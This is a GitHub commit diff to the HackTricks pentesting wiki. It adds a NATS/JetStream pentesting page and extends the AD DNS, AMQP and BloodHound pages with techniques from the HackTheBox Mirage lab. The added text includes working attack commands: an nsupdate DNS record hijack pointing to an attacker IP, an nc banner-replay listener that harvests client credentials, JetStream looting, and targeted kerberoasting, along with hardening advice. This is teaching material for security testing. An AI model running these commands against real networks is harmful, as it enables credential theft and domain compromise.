Skip to content

Commit 95e82ac

Browse files
authored
Merge pull request #1593 from HackTricks-wiki/update_HackTheBox_Mirage__Chaining_NFS_Leaks__Dynamic_DNS_20251122_182758
HackTheBox Mirage Chaining NFS Leaks, Dynamic DNS Abuse, NAT...
2 parents b777be9 + e0483d1 commit 95e82ac

File tree

5 files changed

+175
-4
lines changed

5 files changed

+175
-4
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -403,6 +403,7 @@
403403

404404
# 👽 Network Services Pentesting
405405

406+
- [4222 Pentesting Nats](network-services-pentesting/4222-pentesting-nats.md)
406407
- [Pentesting JDWP - Java Debug Wire Protocol](network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md)
407408
- [Pentesting Printers$$external:http://hacking-printers.net/wiki/index.php/Main_Page$$]()
408409
- [Pentesting SAP](network-services-pentesting/pentesting-sap.md)
Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
# 4222 - Pentesting NATS / JetStream
2+
3+
{{#include ../banners/hacktricks-training.md}}
4+
5+
## Basic Information
6+
7+
**NATS** is a high-performance message bus that speaks a simple text-based protocol: the server transmits an `INFO { ... }` JSON banner immediately after TCP connect, and the client replies with a `CONNECT {"user":"USERNAME","pass":"PASSWORD",...}` frame followed by optional `PING`/`PUB`/`SUB` commands. JetStream adds persistence primitives (Streams & Consumers) on top of the same TCP port (`4222/tcp`). TLS and authentication are optional, so many internal deployments run **plaintext AUTH**.
8+
9+
* Default port: **4222/tcp** (4223+ for clustered routes)
10+
* Stock banner fields: `"version"`, `"auth_required"`, `"jetstream"`, `"max_payload"`, `"tls_required"`
11+
12+
## Enumeration
13+
14+
### Banner grabbing / service probes
15+
16+
```bash
17+
nmap -p4222 -sV --script banner TARGET
18+
# Sample output
19+
# 4222/tcp open nats NATS.io gnatsd 2.11.3
20+
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
21+
```
22+
23+
The INFO frame can also be pulled manually:
24+
25+
```bash
26+
echo | nc HOST 4222
27+
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
28+
-ERR 'Authorization Violation'
29+
```
30+
31+
Install the official CLI (Go ≥1.21) for deeper interaction:
32+
33+
```bash
34+
go install github.com/nats-io/natscli/nats@latest
35+
nats -s nats://HOST:4222 rtt
36+
```
37+
38+
Authentication failures immediately raise `nats: Authorization Violation`, so valid creds are required for any meaningful RPC.
39+
40+
## Credential capture via DNS/service impersonation
41+
42+
+ Identify stale AD DNS entries for the broker hostname (e.g. `nats-svc.domain.local`). If the record returns `NXDOMAIN`, a low-privileged domain user can recreate it thanks to default dynamic-update ACLs. See [AD DNS Records abuse](../windows-hardening/active-directory-methodology/ad-dns-records.md) for background.
43+
+ Register the hostname to an attacker-controlled IP:
44+
45+
```bash
46+
nsupdate
47+
> server DC_IP
48+
> update add nats-svc.domain.local 60 A ATTACKER_IP
49+
> send
50+
```
51+
52+
+ Mirror the legitimate banner once, then replay it to every connecting client. NATS trusts the first `INFO` line it sees, so we only need to pipe it through a listener:
53+
54+
```bash
55+
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
56+
```
57+
58+
+ As soon as an internal client resolves the hijacked name, it will emit a plaintext `CONNECT` frame containing the `user` / `pass` pair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, even `nc` is enough to harvest secrets.
59+
+ For longer engagements, run the official server locally (`git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V`). TRACE logging already shows usernames; removing the redaction helper or sniffing traffic with Wireshark reveals the full password.
60+
61+
## JetStream looting & password hunting
62+
63+
Once any credential is recovered (e.g. `Dev_Account_A`), store it as a CLI context to avoid retyping:
64+
65+
```bash
66+
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
67+
```
68+
69+
JetStream discovery usually follows this pattern:
70+
71+
```bash
72+
nats account info --context mirage # quotas, stream count, expiration
73+
nats stream list --context mirage # names + message totals
74+
nats stream info auth_logs --context mirage
75+
nats stream view auth_logs --context mirage
76+
```
77+
78+
Streaming teams frequently log authentication events into subjects such as `logs.auth`. If developers persist the raw JSON into a JetStream stream, the payloads may include plaintext AD usernames and passwords:
79+
80+
```json
81+
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
82+
```
83+
84+
Retained secrets can then be replayed against Kerberos-only services using `netexec smb DC01 -u USER -p PASS -k`, enabling full domain compromise.
85+
86+
## Hardening & detection
87+
88+
* **Enforce TLS** (`tls`, `tls_required`, or mTLS via `nkey`/`creds`). Without encryption, INFO/CONNECT leaks credentials to anyone on-path.
89+
* **Pinpoint who can update DNS** – delegate service records to dedicated accounts and audit Event IDs 257/252 for high-value hostnames. Combine with scavenging alerts so missing broker names cannot be silently re-claimed.
90+
* **Disable credential logging**. Scrub secrets before publishing to subjects, set JetStream retention/age limits, and apply `deny_delete=false` only to trusted operators.
91+
* **Monitor for banner anomalies** – repeated short-lived connections, authentication timeouts, or INFO banners that do not match the blessed template suggest spoofed servers.
92+
93+
## References
94+
95+
* [HackTheBox Mirage: Chaining NFS Leaks, Dynamic DNS Abuse, NATS Credential Theft, JetStream Secrets, and Kerberoasting](https://0xdf.gitlab.io/2025/11/22/htb-mirage.html)
96+
97+
{{#include ../banners/hacktricks-training.md}}

src/network-services-pentesting/5671-5672-pentesting-amqp.md

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ PORT STATE SERVICE VERSION
2424
```python
2525
import amqp
2626
#By default it uses default credentials "guest":"guest"
27-
conn = amqp.connection.Connection(host="<IP>", port=5672, virtual_host="/")
27+
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
2828
conn.connect()
2929
for k, v in conn.server_properties.items():
3030
print(k, v)
@@ -33,7 +33,7 @@ for k, v in conn.server_properties.items():
3333
### Automatic
3434

3535
```bash
36-
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
36+
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
3737

3838
PORT STATE SERVICE VERSION
3939
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
@@ -72,10 +72,21 @@ In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networkin
7272
- 35672-35682: used by CLI tools (Erlang distribution client ports) for communication with nodes and is allocated from a dynamic range (computed as server distribution port + 10000 through server distribution port + 10010). See [networking guide](https://www.rabbitmq.com/networking.html) for details.
7373
- 61613, 61614: [STOMP clients](https://stomp.github.io/stomp-specification-1.2.html) without and with TLS (only if the [STOMP plugin](https://www.rabbitmq.com/stomp.html) is enabled). Less than 10 devices with this port open and mostly UDP for DHT nodes.
7474

75+
## See also
76+
77+
{{#ref}}
78+
4222-pentesting-nats.md
79+
{{#endref}}
80+
7581
## Shodan
7682

7783
- `AMQP`
7884

85+
## References
86+
87+
- [CloudAMQP – RabbitMQ for beginners](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html)
88+
- [RabbitMQ Networking Guide](https://www.rabbitmq.com/networking.html)
89+
7990
{{#include ../banners/hacktricks-training.md}}
8091

8192

src/windows-hardening/active-directory-methodology/ad-dns-records.md

Lines changed: 37 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -72,6 +72,40 @@ bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.
7272

7373
---
7474

75+
### Internal service hijacking via stale dynamic records (NATS case study)
76+
77+
When dynamic updates stay open to all authenticated users, **a de-registered service name can be re-claimed and pointed to attacker infrastructure**. The Mirage HTB DC exposed the hostname `nats-svc.mirage.htb` after DNS scavenging, so any low-privileged user could:
78+
79+
1. **Confirm the record is missing** and learn the SOA with `dig`:
80+
81+
```bash
82+
dig @dc01.mirage.htb nats-svc.mirage.htb
83+
```
84+
85+
2. **Re-create the record** toward an external/VPN interface they control:
86+
87+
```bash
88+
nsupdate
89+
> server 10.10.11.78
90+
> update add nats-svc.mirage.htb 300 A 10.10.14.2
91+
> send
92+
```
93+
94+
3. **Impersonate the plaintext service**. NATS clients expect to see one `INFO { ... }` banner before they send credentials, so copying a legitimate banner from the real broker is enough to harvest secrets:
95+
96+
```bash
97+
# Capture a single INFO line from the real service and replay it to victims
98+
nc 10.10.11.78 4222 | head -1 | nc -lnvp 4222
99+
```
100+
101+
Any client that resolves the hijacked name will immediately leak its JSON `CONNECT` frame (including `"user"`/`"pass"`) to the listener. Running the official `nats-server -V` binary on the attacker host, disabling its log redaction, or just sniffing the session with Wireshark yields the same plaintext credentials because TLS was optional.
102+
103+
4. **Pivot with the captured creds** – in Mirage the stolen NATS account provided JetStream access, which exposed historic authentication events containing reusable AD usernames/passwords.
104+
105+
This pattern applies to every AD-integrated service that relies on unsecured TCP handshakes (HTTP APIs, RPC, MQTT, etc.): once the DNS record is hijacked, the attacker becomes the service.
106+
107+
---
108+
75109
## Detection & hardening
76110

77111
* Deny **Authenticated Users** the *Create all child objects* right on sensitive zones and delegate dynamic updates to a dedicated account used by DHCP.
@@ -84,6 +118,7 @@ bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.
84118

85119
## References
86120

87-
* Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, still the de-facto reference for wildcard/WPAD attacks)
88-
* Akamai – “Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates” (Dec 2023)
121+
- Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, still the de-facto reference for wildcard/WPAD attacks)
122+
- Akamai – “Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates” (Dec 2023)
123+
- [HackTheBox Mirage: Chaining NFS Leaks, Dynamic DNS Abuse, NATS Credential Theft, JetStream Secrets, and Kerberoasting](https://0xdf.gitlab.io/2025/11/22/htb-mirage.html)
89124
{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/bloodhound.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,28 @@ The collectors generate JSON which is ingested via the BloodHound GUI.
6767

6868
---
6969

70+
## Prioritising Kerberoasting with BloodHound
71+
72+
Graph context is vital to avoid noisy, indiscriminate roasting. A lightweight workflow:
73+
74+
1. **Collect everything once** using an ADWS-compatible collector (e.g. RustHound-CE) so you can work offline and rehearse paths without touching the DC again:
75+
76+
```bash
77+
rusthound-ce -d corp.local -u svc.collector -p 'Passw0rd!' -c All -z
78+
```
79+
80+
2. **Import the ZIP, mark the compromised principal as owned**, then run built-in queries such as *Kerberoastable Users* and *Shortest Paths to Domain Admins*. This instantly highlights SPN-bearing accounts with useful group memberships (Exchange, IT, tier0 service accounts, etc.).
81+
3. **Prioritise by blast radius** – focus on SPNs that control shared infrastructure or have admin rights, and check `pwdLastSet`, `lastLogon`, and allowed encryption types before spending cracking cycles.
82+
4. **Request only the tickets you care about**. Tools like NetExec can target selected `sAMAccountName`s so that each LDAP ROAST request has a clear justification:
83+
84+
```bash
85+
netexec ldap dc01.corp.local -u svc.collector -p 'Passw0rd!' --kerberoasting kerberoast.txt --spn svc-sql
86+
```
87+
88+
5. **Crack offline**, then immediately re-query BloodHound to plan post-exploitation with the new privileges.
89+
90+
This approach keeps the signal-to-noise ratio high, reduces detectable volume (no mass SPN requests), and ensures that every cracked ticket translates to meaningful privilege escalation steps.
91+
7092
## Group3r
7193

7294
[Group3r](https://github.com/Group3r/Group3r) enumerates **Group Policy Objects** and highlights misconfigurations.
@@ -86,4 +108,9 @@ Group3r.exe -f gpo.log # -s to stdout
86108
PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!"
87109
```
88110

111+
## References
112+
113+
- [HackTheBox Mirage: Chaining NFS Leaks, Dynamic DNS Abuse, NATS Credential Theft, JetStream Secrets, and Kerberoasting](https://0xdf.gitlab.io/2025/11/22/htb-mirage.html)
114+
- [RustHound-CE](https://github.com/g0h4n/RustHound-CE)
115+
89116
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)